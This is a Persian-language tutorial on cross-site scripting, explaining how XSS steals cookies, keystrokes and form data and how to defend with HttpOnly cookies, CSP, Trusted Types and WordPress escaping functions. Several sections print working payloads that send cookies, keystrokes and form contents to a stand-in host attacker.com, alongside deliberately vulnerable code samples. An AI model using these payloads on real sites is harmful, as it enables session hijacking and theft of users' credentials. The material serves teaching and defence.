XSS چطور اطلاعات کاربران را می‌دزدد؟ این پرسش، یکی از کلیدی‌ترین پرسش‌های امنیت وب است و پاسخ آن، درک عمیقی از نحوه‌ی کار مرورگر، کوکی‌ها و DOM (Document Object Model) می‌طلبد. حمله‌ی XSS (Cross-Site Scripting) یکی از رایج‌ترین آسیب‌پذیری‌های وب است که به مهاجم اجازه می‌دهد کد JavaScript مخرب را در صفحات سایت قربانی اجرا کند. وقتی این کد در مرورگر کاربر اجرا می‌شود، مهاجم می‌تواند به کوکی‌ها، LocalStorage، داده‌های فرم و حتی DOM دسترسی پیدا کند و آن‌ها را به سرور خود ارسال کند. این فرآیند، در ظاهر ساده است، اما پیچیدگی‌های فنی قابل‌توجهی دارد که در این راهنما لایه‌به‌لایه بررسی می‌کنیم.

حمله‌ی XSS، در فهرست ده آسیب‌پذیری برتر OWASP (Open Web Application Security Project) جایگاه ثابتی دارد و در بسیاری از سایت‌های بزرگ، از جمله سایت‌های وردپرسی، به‌عنوان یک تهدید جدی شناخته می‌شود. بر اساس گزارش‌های امنیتی، بیش از ۴۰ درصد از حملات موفق به سایت‌های وب، از طریق XSS یا مشتقات آن انجام می‌شود. درک دقیق این حمله، اولین قدم برای دفاع مؤثر در برابر آن است.

در این راهنما، ابتدا تعریف دقیق XSS و انواع آن را بررسی می‌کنیم، سپس مکانیزم دزدی اطلاعات را گام‌به‌گام باز می‌کنیم. در ادامه، Payloadهای واقعی، سناریوهای حمله و روش‌های دفاع چندلایه را پوشش می‌دهیم. در بخش‌های بعدی به مباحث پیشرفته‌تر مثل Content Security Policy (CSP)، Trusted Types و دفاع در عمق می‌پردازیم و در پایان با یک بخش پرسش‌های پرتکرار و یک فراخوان عملی، این مسیر را کامل می‌کنیم.

مفهوم Cross-Site Scripting در ویکی‌پدیا توضیح داده شده و درک آن برای هر توسعه‌دهنده‌ی وب ضروری است. حمله‌ی XSS، فقط یک آسیب‌پذیری ساده نیست؛ یک دروازه‌ی ورود به دنیای گسترده‌ای از حملات است که می‌تواند به دزدی داده، جعل هویت و حتی نفوذ به زیرساخت منجر شود.

پیش از ورود به جزئیات، خلاصه‌ای از مسیر این راهنما را مرور کنیم: ابتدا تعریف XSS و انواع آن را بررسی می‌کنیم. سپس مکانیزم دزدی اطلاعات، از Cookie Theft تا Keylogging، را می‌بینیم. در ادامه، Payloadهای واقعی و سناریوهای حمله را پوشش می‌دهیم. در بخش‌های بعدی به دفاع چندلایه، CSP، Trusted Types و اشتباهات رایج می‌پردازیم و در پایان با پرسش‌های پرتکرار، این مسیر را کامل می‌کنیم.

نخستین برخورد جدی با XSS، در یک پروژه‌ی فروشگاهی بود که یکی از فرم‌های نظرات، امکان تزریق کد را فراهم می‌کرد. یک کاربر، کدی را در فیلد نام وارد کرده بود که به‌طور خودکار، کوکی مدیر سایت را به یک سرور خارجی ارسال می‌کرد. همین تجربه نشان داد که XSS، فقط یک آسیب‌پذیری تئوریک نیست؛ یک تهدید واقعی است که می‌تواند در کمترین زمان، به نفوذ کامل منجر شود. در ادامه، این مکانیزم را لایه‌به‌لایه باز می‌کنیم.

XSS دقیقاً چیست و چگونه کار می‌کند؟

XSS (Cross-Site Scripting) یک آسیب‌پذیری امنیتی است که به مهاجم اجازه می‌دهد کد JavaScript مخرب را در صفحات سایت قربانی اجرا کند. این حمله، زمانی رخ می‌دهد که یک برنامه‌ی وب، داده‌ی ورودی کاربر را بدون پاک‌سازی مناسب در خروجی HTML قرار دهد. وقتی مرورگر قربانی، صفحه‌ی آلوده را بارگذاری می‌کند، کد مخرب اجرا می‌شود و مهاجم می‌تواند به داده‌های حساس دسترسی پیدا کند.

مکانیزم کار XSS، بر پایه‌ی اعتماد مرورگر به کد موجود در صفحه است. مرورگر، نمی‌تواند تشخیص دهد که کدام کد توسط توسعه‌دهنده‌ی سایت نوشته شده و کدام کد توسط مهاجم تزریق شده است. بنابراین، هر کدی که در بستر صفحه قرار گیرد، با همان سطح دسترسی اجرا می‌شود. این ویژگی، پایه‌ی حمله‌ی XSS است.

<?php
// کد آسیب‌پذیر
$name = $_GET['name'];
echo "<p>سلام، $name!</p>";
?>

در این کد، اگر کاربر مقدار <script>alert('XSS')</script> را وارد کند، مرورگر آن را به‌عنوان کد JavaScript اجرا می‌کند. این ساده‌ترین شکل XSS است، اما در عمل، حمله‌ها بسیار پیچیده‌تر هستند.

برای درک عمیق‌تر این نوع حمله، مقاله حملات XSS چیست و چگونه جلوگیری کنیم؟ را مطالعه کنید. همچنین مقاله امنیت وب چیست و چه اصولی دارد؟ مفاهیم پایه‌ای را پوشش می‌دهد.

مرورگر، کد موجود در صفحه را با همان سطح دسترسی سایت اجرا می‌کند. این ویژگی، پایه‌ی حمله‌ی XSS است؛ مرورگر نمی‌تواند تشخیص دهد که کد از طرف توسعه‌دهنده آمده یا مهاجم.

انواع XSS: Stored، Reflected و DOM-based

XSS در سه نوع اصلی طبقه‌بندی می‌شود: Stored، Reflected و DOM-based. هر نوع، مکانیزم حمله و سطح خطر متفاوتی دارد.

Stored XSS (ذخیره‌شده). در این نوع، کد مخرب در دیتابیس ذخیره می‌شود و هر بار که صفحه بارگذاری می‌شود، اجرا می‌گردد. این نوع، خطرناک‌ترین شکل XSS است، زیرا نیاز به تعامل مستقیم قربانی ندارد و می‌تواند به‌طور خودکار، بسیاری از کاربران را هدف قرار دهد. مثال رایج: نظرات، پست‌ها و پروفایل کاربری.

<!-- کد ذخیره‌شده در دیتابیس -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Reflected XSS (بازتابی). در این نوع، کد مخرب در URL یا پارامترهای درخواست قرار می‌گیرد و بلافاصله در پاسخ سرور بازتاب داده می‌شود. این نوع، نیازمند تعامل قربانی است؛ معمولاً از طریق لینک مخربی که قربانی باید روی آن کلیک کند. مثال رایج: پیام‌های خطا، نتایج جستجو و فرم‌های جستجو.

https://example.com/search?q=<script>alert('XSS')</script>

DOM-based XSS. در این نوع، کد مخرب در سمت کلاینت و توسط JavaScript اجرا می‌شود، بدون اینکه در پاسخ سرور بازتاب داده شود. این نوع، به‌دلیل اینکه در سمت سرور قابل تشخیص نیست، چالش‌برانگیزترین نوع XSS است. مثال رایج: استفاده‌ی نادرست از innerHTML، document.write() و eval().

// کد آسیب‌پذیر
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

نکته‌ی مهم در مورد انواع XSS این است که طبقه‌بندی آن‌ها، صرفاً آکادمیک نیست؛ هر نوع، به استراتژی دفاعی متفاوتی نیاز دارد. Stored XSS نیازمند پاک‌سازی در ورودی و خروجی است. Reflected XSS نیازمند فرار دادن داده‌ها در خروجی است. DOM-based XSS نیازمند استفاده‌ی امن از APIهای JavaScript است.

برای مطالعه‌ی عمیق‌تر درباره‌ی دفاع در برابر این نوع حملات، مقاله حملات SQL Injection و راه‌های مقابله را مطالعه کنید.

یکی از رایج‌ترین اهداف XSS، دزدی کوکی‌های نشست (Session Cookies) است. کوکی نشست، یک توکن است که پس از ورود موفق کاربر، توسط سرور تولید می‌شود و در مرورگر ذخیره می‌شود. هر درخواست بعدی کاربر، این کوکی را همراه دارد و سرور بر اساس آن، کاربر را شناسایی می‌کند.

اگر مهاجم بتواند کوکی نشست را به‌سرقت ببرد، می‌تواند از آن برای جعل هویت قربانی استفاده کند. این حمله، با نام Session Hijacking شناخته می‌شود و یکی از خطرناک‌ترین پیامدهای XSS است.

// Payload دزدی کوکی
<script>
new Image().src = 'https://attacker.com/log?c=' + encodeURIComponent(document.cookie);
</script>

در این Payload، یک تصویر جدید ایجاد می‌شود و آدرس آن، شامل کوکی کاربر است. وقتی مرورگر تلاش می‌کند تصویر را بارگذاری کند، درخواست به سرور مهاجم ارسال می‌شود و کوکی در آن درخواست قرار دارد. این تکنیک، یکی از ساده‌ترین و مؤثرترین روش‌های دزدی کوکی است.

مفهوم Session Hijacking در ویکی‌پدیا توضیح داده شده و درک آن برای دفاع در برابر XSS ضروری است. برای جلوگیری از دزدی کوکی، باید کوکی‌ها با پرچم HttpOnly تنظیم شوند. این پرچم، مانع از دسترسی JavaScript به کوکی می‌شود.

// تنظیم کوکی با پرچم HttpOnly در PHP
setcookie('session_id', $session_id, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Lax',
    'expires' => time() + 3600,
]);

نکته‌ی مهم در تنظیم کوکی‌ها، استفاده از هر سه پرچم HttpOnly، Secure و SameSite است. پرچم HttpOnly مانع از دسترسی JavaScript می‌شود. پرچم Secure مانع از ارسال کوکی در اتصالات غیر HTTPS می‌شود. پرچم SameSite مانع از ارسال کوکی در درخواست‌های Cross-Site می‌شود.

برای مطالعه‌ی عمیق‌تر درباره‌ی امنیت نشست، مقاله چگونه نشست‌های کاربری را امن کنیم؟ را مطالعه کنید.

کوکی نشست، کلید ورود به حساب کاربر است. اگر این کوکی به‌سرقت برود، مهاجم می‌تواند بدون نیاز به رمز عبور، به حساب کاربر دسترسی پیدا کند.

Keylogging و سرقت داده‌های فرم

علاوه بر دزدی کوکی، XSS می‌تواند برای سرقت داده‌های فرم نیز استفاده شود. مهاجم می‌تواند کدی را تزریق کند که هر کلید فشرده‌شده توسط کاربر را ضبط کند و به سرور خود ارسال کند. این تکنیک، با نام Keylogging شناخته می‌شود و می‌تواند برای سرقت رمز عبور، اطلاعات کارت اعتباری و داده‌های حساس دیگر استفاده شود.

// Payload Keylogging
<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
});
</script>

در این Payload، هر بار که کاربر کلیدی را فشار دهد، مقدار آن به سرور مهاجم ارسال می‌شود. این تکنیک، به‌خصوص در فرم‌های ورود و پرداخت، بسیار خطرناک است.

روش دیگر سرقت داده‌های فرم، استفاده از رویداد submit است. مهاجم می‌تواند کدی را تزریق کند که قبل از ارسال فرم، مقادیر فیلدها را استخراج کند و به سرور خود بفرستد.

// Payload سرقت داده‌های فرم
<script>
document.querySelector('form').addEventListener('submit', function(e) {
    const data = new FormData(e.target);
    fetch('https://attacker.com/log', {
        method: 'POST',
        body: data
    });
});
</script>

نکته‌ی مهم در دفاع در برابر این نوع حمله، استفاده از Content Security Policy (CSP) است. CSP، یک لایه‌ی دفاعی است که به سرور اجازه می‌دهد تعیین کند کدام منابع (اسکریپت، استایل، تصویر) می‌توانند در صفحه بارگذاری شوند. با CSP مناسب، حتی اگر کد مخرب تزریق شود، مرورگر آن را اجرا نمی‌کند.

Payloadهای واقعی XSS

Payloadهای XSS، در طول زمان تکامل یافته‌اند و امروز بسیار پیچیده‌تر از <script>alert(1)</script> ساده هستند. در این بخش، چند Payload واقعی و مکانیزم کار آن‌ها را بررسی می‌کنیم.

Payload اول، استفاده از رویدادهای HTML. به‌جای تگ <script>، می‌توان از رویدادهای HTML مثل onerror، onload و onmouseover استفاده کرد. این Payloadها، در شرایطی که تگ <script> فیلتر شده باشد، کار می‌کنند.

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Payload دوم، استفاده از data URI. با استفاده از data: می‌توان کد JavaScript را در یک iframe یا لینک جاسازی کرد.

<iframe src="data:text/html,<script>alert(document.cookie)</script>"></iframe>

Payload سوم، استفاده از SVG. SVG (Scalable Vector Graphics) یک فرمت تصویری است که می‌تواند حاوی کد JavaScript باشد. این Payload، در شرایطی که تگ‌های تصویری معمولی فیلتر شده باشند، کار می‌کند.

<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">

Payload چهارم، استفاده از رویدادهای CSS. برخی مرورگرها، از رویدادهای CSS مثل expression() پشتیبانی می‌کردند که می‌توانست برای اجرای کد استفاده شود. این روش، در مرورگرهای مدرن محدود شده است.

<div style="background:url('javascript:alert(1)')"></div>

نکته‌ی مهم در مورد Payloadها این است که فیلتر کردن آن‌ها، یک بازی بی‌پایان است. هر فیلتر جدید، روش‌های دور زدن جدیدی ایجاد می‌کند. به همین دلیل، بهترین استراتژی دفاعی، پاک‌سازی داده‌ها و فرار دادن خروجی‌ها است، نه فیلتر کردن Payloadها.

برای مطالعه‌ی عمیق‌تر درباره‌ی روش‌های دفاعی، مقاله پاک‌سازی داده‌ها در کدنویسی وردپرس را مطالعه کنید. همچنین مقاله اعتبارسنجی داده‌ها در کدنویسی وردپرس نکات تکمیلی دارد.

دستکاری DOM و سرقت داده‌های پویا

DOM (Document Object Model) یک رابط برنامه‌نویسی است که به JavaScript اجازه می‌دهد ساختار HTML صفحه را تغییر دهد. در حمله‌ی DOM-based XSS، مهاجم از این قابلیت برای تزریق کد مخرب و سرقت داده‌های پویا استفاده می‌کند.

// کد آسیب‌پذیر DOM-based XSS
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;

در این کد، مقدار hash از URL خوانده می‌شود و مستقیماً در innerHTML قرار می‌گیرد. اگر hash حاوی کد JavaScript باشد، این کد اجرا می‌شود. این نوع XSS، در سمت سرور قابل تشخیص نیست، زیرا کد مخرب هرگز به سرور ارسال نمی‌شود.

روش دیگر دستکاری DOM، استفاده از document.write() است. اگر این تابع با داده‌ی کاربر فراخوانی شود، می‌تواند به XSS منجر شود.

// کد آسیب‌پذیر
document.write('<p>' + userInput + '</p>');

برای دفاع در برابر DOM-based XSS، باید از APIهای امن JavaScript استفاده کرد. به‌جای innerHTML، از textContent استفاده کنید. به‌جای document.write()، از createElement() و appendChild() استفاده کنید.

// کد امن
const content = document.getElementById('content');
content.textContent = userInput;

نکته‌ی مهم در مورد DOM-based XSS این است که این نوع حمله، به‌دلیل عدم بازتاب در سمت سرور، توسط بسیاری از ابزارهای امنیتی نادیده گرفته می‌شود. به همین دلیل، باید در کد سمت کلاینت، به‌طور ویژه به امنیت توجه کرد.

Session Hijacking و جعل هویت

Session Hijacking، یکی از خطرناک‌ترین پیامدهای XSS است. در این حمله، مهاجم با سرقت کوکی نشست، هویت قربانی را جعل می‌کند و بدون نیاز به رمز عبور، به حساب کاربر دسترسی پیدا می‌کند. این حمله، به‌خصوص در سایت‌های بانکی، فروشگاهی و سازمانی، بسیار خطرناک است.

// Payload سرقت کوکی و ارسال به سرور مهاجم
<script>
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: document.cookie
});
</script>

پس از دریافت کوکی، مهاجم می‌تواند آن را در مرورگر خود تنظیم کند و به‌عنوان کاربر قربانی وارد شود. این فرآیند، در چند ثانیه انجام می‌شود و قربانی، متوجه نمی‌شود که هویت او جعل شده است.

روش دیگر Session Hijacking، استفاده از Session Fixation است. در این روش، مهاجم یک شناسه‌ی نشست معتبر را از قبل تنظیم می‌کند و قربانی را وادار می‌کند که با آن شناسه وارد شود. پس از ورود، مهاجم از همان شناسه برای دسترسی استفاده می‌کند.

// Payload Session Fixation
https://example.com/login?session_id=known_session_id

برای دفاع در برابر Session Hijacking، باید چند اقدام انجام شود. اول، تنظیم پرچم HttpOnly روی کوکی نشست. دوم، تغییر شناسه‌ی نشست پس از ورود موفق. سوم، استفاده از پرچم SameSite برای جلوگیری از ارسال کوکی در درخواست‌های Cross-Site. چهارم، محدود کردن مدت اعتبار نشست.

// تغییر شناسه نشست پس از ورود در PHP
session_regenerate_id(true);

برای مطالعه‌ی عمیق‌تر درباره‌ی حملات رایج، مقاله CSRF چیست و چگونه دفع می‌شود؟ را مطالعه کنید. همچنین مقاله اشتباهات امنیتی رایج در وب نکات عملی بیشتری دارد.

XSS در وردپرس و افزونه‌ها

وردپرس، به‌دلیل سهم بازار بالای خود، یکی از اهداف اصلی حملات XSS است. بسیاری از آسیب‌پذیری‌های وردپرس، در افزونه‌ها و قالب‌های شخص ثالث رخ می‌دهد، نه در هسته. بر اساس گزارش‌های امنیتی، بیش از ۶۰ درصد از آسیب‌پذیری‌های وردپرس، مربوط به افزونه‌هاست.

رایج‌ترین منبع XSS در وردپرس، استفاده‌ی نادرست از توابع خروجی است. اگر داده‌ای بدون فرار دادن در خروجی قرار گیرد، می‌تواند به XSS منجر شود.

// کد آسیب‌پذیر در وردپرس
echo $_GET['message'];

// کد امن
echo esc_html($_GET['message']);

وردپرس، مجموعه‌ای از توابع فرار دادن (Escaping Functions) را فراهم کرده است که هر کدام برای زمینه‌ی خاصی طراحی شده‌اند. esc_html() برای محتوای HTML، esc_attr() برای ویژگی‌های HTML، esc_url() برای URL و esc_js() برای JavaScript.

<div class="<?php echo esc_attr($class); ?>">
    <p><?php echo esc_html($message); ?></p>
    <a href="<?php echo esc_url($link); ?>">لینک</a>
</div>

نکته‌ی مهم در وردپرس، استفاده از توابع پاک‌سازی در ورودی و توابع فرار دادن در خروجی است. برای پاک‌سازی ورودی، از sanitize_text_field()، sanitize_email() و wp_kses_post() استفاده کنید. برای فرار دادن خروجی، از esc_html()، esc_attr() و esc_url() استفاده کنید.

برای مطالعه‌ی عمیق‌تر درباره‌ی امنیت وردپرس، مقاله هوک‌های وردپرس و افزایش امنیت کد را مطالعه کنید. همچنین مقاله چگونه سایت وردپرسی را در برابر هک محافظت کنیم؟ نکات عملی بیشتری دارد.

در وردپرس، همیشه ورودی‌ها را پاک‌سازی کنید و خروجی‌ها را فرار دهید. این دو اصل، پایه‌ی دفاع در برابر XSS هستند.

دفاع چندلایه در برابر XSS

دفاع در برابر XSS، نیازمند یک استراتژی چندلایه است. هیچ لایه‌ی واحدی، صد درصد مؤثر نیست، اما ترکیب چند لایه، شانس موفقیت مهاجم را به‌طور چشمگیری کاهش می‌دهد.

لایهروشمزیت
اعتبارسنجی ورودیبررسی نوع و قالب دادهجلوگیری از ورود داده‌های نامعتبر
پاک‌سازی ورودیحذف کاراکترهای خطرناککاهش سطح حمله
فرار دادن خروجیتبدیل کاراکترهای خاصجلوگیری از اجرای کد
Content Security Policyمحدود کردن منابع مجازجلوگیری از اجرای اسکریپت‌های خارجی
HttpOnly Cookieمحدود کردن دسترسی JavaScriptجلوگیری از دزدی کوکی

لایه‌ی اول، اعتبارسنجی ورودی. قبل از پذیرش داده، نوع و قالب آن را بررسی کنید. اگر فیلدی باید عدد باشد، فقط عدد را بپذیرید. این لایه، از ورود داده‌های نامعتبر جلوگیری می‌کند.

$age = filter_input(INPUT_POST, 'age', FILTER_VALIDATE_INT);
if ($age === false) {
    wp_die('مقدار نامعتبر');
}

لایه‌ی دوم، پاک‌سازی ورودی. داده‌های ورودی را پاک‌سازی کنید تا کاراکترهای خطرناک حذف شوند. در وردپرس، از sanitize_text_field()، sanitize_email() و wp_kses_post() استفاده کنید.

$name = sanitize_text_field($_POST['name']);
$content = wp_kses_post($_POST['content']);

لایه‌ی سوم، فرار دادن خروجی. قبل از نمایش داده در HTML، آن را فرار دهید. در وردپرس، از esc_html()، esc_attr()، esc_url() و esc_js() استفاده کنید.

echo '<p>' . esc_html($name) . '</p>';

لایه‌ی چهارم، Content Security Policy. با تنظیم هدر CSP، مرورگر را محدود کنید که فقط اسکریپت‌های مجاز را اجرا کند. این لایه، حتی اگر کد مخرب تزریق شود، از اجرای آن جلوگیری می‌کند.

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

لایه‌ی پنجم، HttpOnly Cookie. کوکی‌های نشست را با پرچم HttpOnly تنظیم کنید تا JavaScript نتواند به آن‌ها دسترسی داشته باشد. این لایه، از دزدی کوکی جلوگیری می‌کند.

برای مطالعه‌ی عمیق‌تر درباره‌ی هدرهای امنیتی، مقاله هدرهای امنیتی HTTP (Security Headers) چه کاربردی دارند؟ را مطالعه کنید.

Content Security Policy و Trusted Types

Content Security Policy (CSP) یکی از قوی‌ترین ابزارهای دفاع در برابر XSS است. این هدر، به سرور اجازه می‌دهد تعیین کند کدام منابع (اسکریپت، استایل، تصویر، فونت) می‌توانند در صفحه بارگذاری شوند. با CSP مناسب، حتی اگر مهاجم کد مخرب را تزریق کند، مرورگر آن را اجرا نمی‌کند.

Content-Security-Policy: 
    default-src 'self';
    script-src 'self' https://trusted-cdn.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none';

نکته‌ی مهم در تنظیم CSP، استفاده از حالت Report-Only در ابتدا است. در این حالت، CSP فقط تخلفات را گزارش می‌دهد و منابع را مسدود نمی‌کند. پس از بررسی گزارش‌ها، می‌توانید CSP را به حالت Enforce تغییر دهید.

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Trusted Types، یک API جدید است که به‌طور خاص برای جلوگیری از DOM-based XSS طراحی شده است. این API، اجازه می‌دهد برنامه تعیین کند که کدام رشته‌ها می‌توانند در innerHTML و مشابه آن استفاده شوند.

// فعال‌سازی Trusted Types
Content-Security-Policy: require-trusted-types-for 'script';

// ایجاد یک Trusted Type
const sanitized = trustedTypes.createPolicy('myPolicy', {
    createHTML: (input) => sanitizeHTML(input)
});
element.innerHTML = sanitized.createHTML(userInput);

نکته‌ی مهم در مورد Trusted Types این است که این API، هنوز در همه‌ی مرورگرها پشتیبانی نمی‌شود. بنابراین، باید به‌عنوان یک لایه‌ی اضافی استفاده شود، نه به‌عنوان جایگزین برای پاک‌سازی و فرار دادن.

پاک‌سازی و فرار دادن داده‌ها

پاک‌سازی (Sanitization) و فرار دادن (Escaping) دو مفهوم کلیدی در دفاع در برابر XSS هستند. اگرچه این دو مفهوم، گاهی به‌جای یکدیگر استفاده می‌شوند، اما تفاوت مهمی دارند.

پاک‌سازی، فرآیند حذف یا اصلاح کاراکترهای خطرناک از داده‌ی ورودی است. این فرآیند، قبل از ذخیره‌سازی داده در دیتابیس انجام می‌شود. فرار دادن، فرآیند تبدیل کاراکترهای خاص به معادل HTML آن‌ها است. این فرآیند، قبل از نمایش داده در HTML انجام می‌شود.

// پاک‌سازی ورودی
$name = sanitize_text_field($_POST['name']);
update_option('my_option', $name);

// فرار دادن خروجی
$name = get_option('my_option');
echo '<p>' . esc_html($name) . '</p>';

نکته‌ی مهم در مورد پاک‌سازی و فرار دادن این است که هر کدام برای زمینه‌ی خاصی طراحی شده‌اند. پاک‌سازی متن، با پاک‌سازی URL متفاوت است. فرار دادن HTML، با فرار دادن JavaScript متفاوت است. بنابراین، باید از تابع مناسب برای هر زمینه استفاده کرد.

// فرار دادن در زمینه‌های مختلف
echo esc_html($text);          // برای محتوای HTML
echo esc_attr($attribute);      // برای ویژگی‌های HTML
echo esc_url($url);             // برای URL
echo esc_js($javascript);       // برای JavaScript
echo esc_textarea($textarea);   // برای textarea

در وردپرس، توابع پاک‌سازی و فرار دادن به‌طور گسترده در دسترس هستند. برای پاک‌سازی، از sanitize_text_field()، sanitize_email()، sanitize_url() و wp_kses_post() استفاده کنید. برای فرار دادن، از esc_html()، esc_attr()، esc_url() و esc_js() استفاده کنید.

برای مطالعه‌ی عمیق‌تر درباره‌ی توابع وردپرس، مقاله توابع وردپرس برای امنیت و پاک‌سازی داده‌ها را مطالعه کنید.

تست و شناسایی XSS

تست و شناسایی XSS، بخش مهمی از فرآیند دفاع است. بدون تست، نمی‌دانید که آیا سایت شما در برابر XSS آسیب‌پذیر است یا نه.

روش اول، تست دستی. در فیلدهای ورودی، Payloadهای ساده را وارد کنید و ببینید که آیا اجرا می‌شوند یا نه. مثلاً <script>alert(1)</script> یا <img src=x onerror=alert(1)>.

روش دوم، استفاده از ابزارهای خودکار. ابزارهایی مثل OWASP ZAP، Burp Suite و Acunetix، می‌توانند سایت شما را اسکن کنند و آسیب‌پذیری‌های XSS را شناسایی کنند.

# اسکن با OWASP ZAP
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' https://example.com

روش سوم، بررسی کد. کد خود را بررسی کنید و به‌دنبال نقاطی بگردید که داده‌ی کاربر بدون پاک‌سازی یا فرار دادن استفاده می‌شود. این روش، به‌خصوص در پروژه‌های بزرگ، مؤثر است.

روش چهارم، استفاده از ابزارهای تحلیل استاتیک. ابزارهایی مثل PHPStan و Psalm، می‌توانند کد شما را تحلیل کنند و نقاط خطرناک را شناسایی کنند.

# تحلیل با PHPStan
phpstan analyse src/ --level=5

نکته‌ی مهم در تست XSS، تست در زمینه‌های مختلف است. یک Payload که در یک زمینه کار می‌کند، ممکن است در زمینه‌ی دیگر کار نکند. بنابراین، باید Payloadها را در زمینه‌های مختلف (HTML، Attribute، URL، JavaScript) تست کنید.

برای مطالعه‌ی عمیق‌تر درباره‌ی تست امنیت، مقاله تست امنیت وب چطور در سطح پروتکل و مرورگر انجام می‌شود؟ را مطالعه کنید. همچنین مقاله استانداردهای امنیت وب نکات تکمیلی دارد.

اشتباهات رایج در دفاع در برابر XSS

در بازبینی پروژه‌های مختلف، اشتباهات تکراری در دفاع در برابر XSS دیده می‌شود که هر کدام می‌تواند به کاهش امنیت منجر شود.

اشتباه اول، تکیه بر فیلتر کردن Payloadها. فیلتر کردن Payloadهای شناخته‌شده، یک بازی بی‌پایان است. هر فیلتر جدید، روش دور زدن جدیدی ایجاد می‌کند. بهترین رویکرد، پاک‌سازی و فرار دادن است.

اشتباه دوم، فرار دادن در ورودی به‌جای خروجی. فرار دادن باید در خروجی انجام شود، نه در ورودی. اگر داده را در ورودی فرار دهید و در دیتابیس ذخیره کنید، در زمینه‌های دیگر ممکن است مشکل ایجاد کند.

اشتباه سوم، استفاده از htmlspecialchars() بدون پارامتر. در PHP، تابع htmlspecialchars() به‌طور پیش‌فرض فقط کوتیشن دوگانه را فرار می‌دهد. برای فرار دادن کوتیشن تک، باید پارامتر ENT_QUOTES را اضافه کنید.

// نادرست
echo htmlspecialchars($input);

// درست
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

اشتباه چهارم، عدم استفاده از CSP. CSP یک لایه‌ی دفاعی قوی است که بسیاری از پروژه‌ها آن را نادیده می‌گیرند. با تنظیم CSP، حتی اگر کد مخرب تزریق شود، مرورگر آن را اجرا نمی‌کند.

اشتباه پنجم، عدم تنظیم HttpOnly روی کوکی. اگر کوکی نشست با پرچم HttpOnly تنظیم نشود، JavaScript می‌تواند به آن دسترسی داشته باشد و در صورت XSS، کوکی به‌سرقت می‌رود.

اشتباه ششم، اعتماد به داده‌های داخلی. حتی داده‌هایی که از منابع داخلی می‌آیند، باید پاک‌سازی و فرار داده شوند. یک آسیب‌پذیری در یک بخش، می‌تواند به XSS در بخش دیگر منجر شود.

اشتباه هفتم، عدم تست منظم. امنیت، یک فرآیند مستمر است، نه یک اقدام یکباره. باید به‌طور منظم سایت خود را تست کنید و کد را بازبینی کنید.

اشتباه هشتم، عدم آموزش تیم. اگر تیم توسعه با اصول امنیتی آشنا نباشد، ممکن است به‌طور ناخواسته آسیب‌پذیری ایجاد کند. آموزش منظم تیم، بخش مهمی از دفاع است.

برای مطالعه‌ی عمیق‌تر درباره‌ی اشتباهات رایج، مقاله انواع آسیب‌پذیری‌های رایج وب (Web Vulnerabilities) کدامند؟ را مطالعه کنید.

پرسش‌های پرتکرار درباره XSS

XSS چیست و چگونه کار می‌کند؟ XSS یک آسیب‌پذیری است که به مهاجم اجازه می‌دهد کد JavaScript مخرب را در صفحات سایت قربانی اجرا کند. این حمله، زمانی رخ می‌دهد که داده‌ی ورودی کاربر بدون پاک‌سازی در خروجی HTML قرار گیرد.

انواع XSS کدامند؟ سه نوع اصلی: Stored (ذخیره‌شده در دیتابیس)، Reflected (بازتابی در پاسخ) و DOM-based (اجرا در سمت کلاینت). هر نوع، مکانیزم حمله و سطح خطر متفاوتی دارد.

XSS چطور کوکی را می‌دزدد؟ مهاجم کدی تزریق می‌کند که مقدار document.cookie را می‌خواند و به سرور خود ارسال می‌کند. اگر کوکی با پرچم HttpOnly تنظیم نشده باشد، این کار موفق می‌شود.

چگونه از XSS جلوگیری کنم؟ سه اقدام اصلی: پاک‌سازی ورودی‌ها، فرار دادن خروجی‌ها و تنظیم کوکی‌ها با پرچم HttpOnly. همچنین استفاده از CSP و اعتبارسنجی ورودی توصیه می‌شود.

آیا XSS فقط در فرم‌ها رخ می‌دهد؟ خیر، XSS می‌تواند در هر جایی که داده‌ی کاربر نمایش داده می‌شود رخ دهد. URL، پارامترهای جستجو، نظرات، پروفایل کاربری و حتی هدرهای HTTP.

تفاوت XSS و CSRF چیست؟ XSS کد مخرب را در مرورگر قربانی اجرا می‌کند، در حالی که CSRF کاربر را وادار به انجام یک عمل ناخواسته می‌کند. XSS می‌تواند برای CSRF استفاده شود، اما این دو حمله‌ی متفاوتی هستند.

آیا CSP به‌تنهایی برای جلوگیری از XSS کافی است؟ CSP یک لایه‌ی دفاعی قوی است، اما به‌تنهایی کافی نیست. باید همراه با پاک‌سازی و فرار دادن استفاده شود.

چگونه XSS را تست کنم؟ از ترکیب تست دستی، ابزارهای خودکار مثل OWASP ZAP، تحلیل کد و ابزارهای تحلیل استاتیک مثل PHPStan استفاده کنید.

آیا XSS در وردپرس رایج است؟ XSS در وردپرس، به‌خصوص در افزونه‌ها و قالب‌های شخص ثالث، رایج است. هسته‌ی وردپرس به‌طور منظم به‌روزرسانی می‌شود، اما افزونه‌ها ممکن است آسیب‌پذیر باشند.

چگونه بفهمم سایت من در برابر XSS آسیب‌پذیر است؟ با تست منظم، بررسی کد، استفاده از ابزارهای اسکن و پیگیری گزارش‌های امنیتی. همچنین می‌توانید از خدمات تست نفوذ استفاده کنید.

آیا XSS می‌تواند به نفوذ کامل منجر شود؟ بله، XSS می‌تواند به دزدی کوکی، Session Hijacking، Keylogging و در نهایت نفوذ کامل به حساب کاربر منجر شود. در سایت‌های با دسترسی بالا، این می‌تواند به نفوذ به کل سایت منجر شود.

آیا HttpOnly برای جلوگیری از XSS کافی است؟ HttpOnly از دزدی کوکی جلوگیری می‌کند، اما از سایر پیامدهای XSS مثل Keylogging و دستکاری DOM جلوگیری نمی‌کند. HttpOnly یک لایه‌ی دفاعی است، نه راه‌حل کامل.

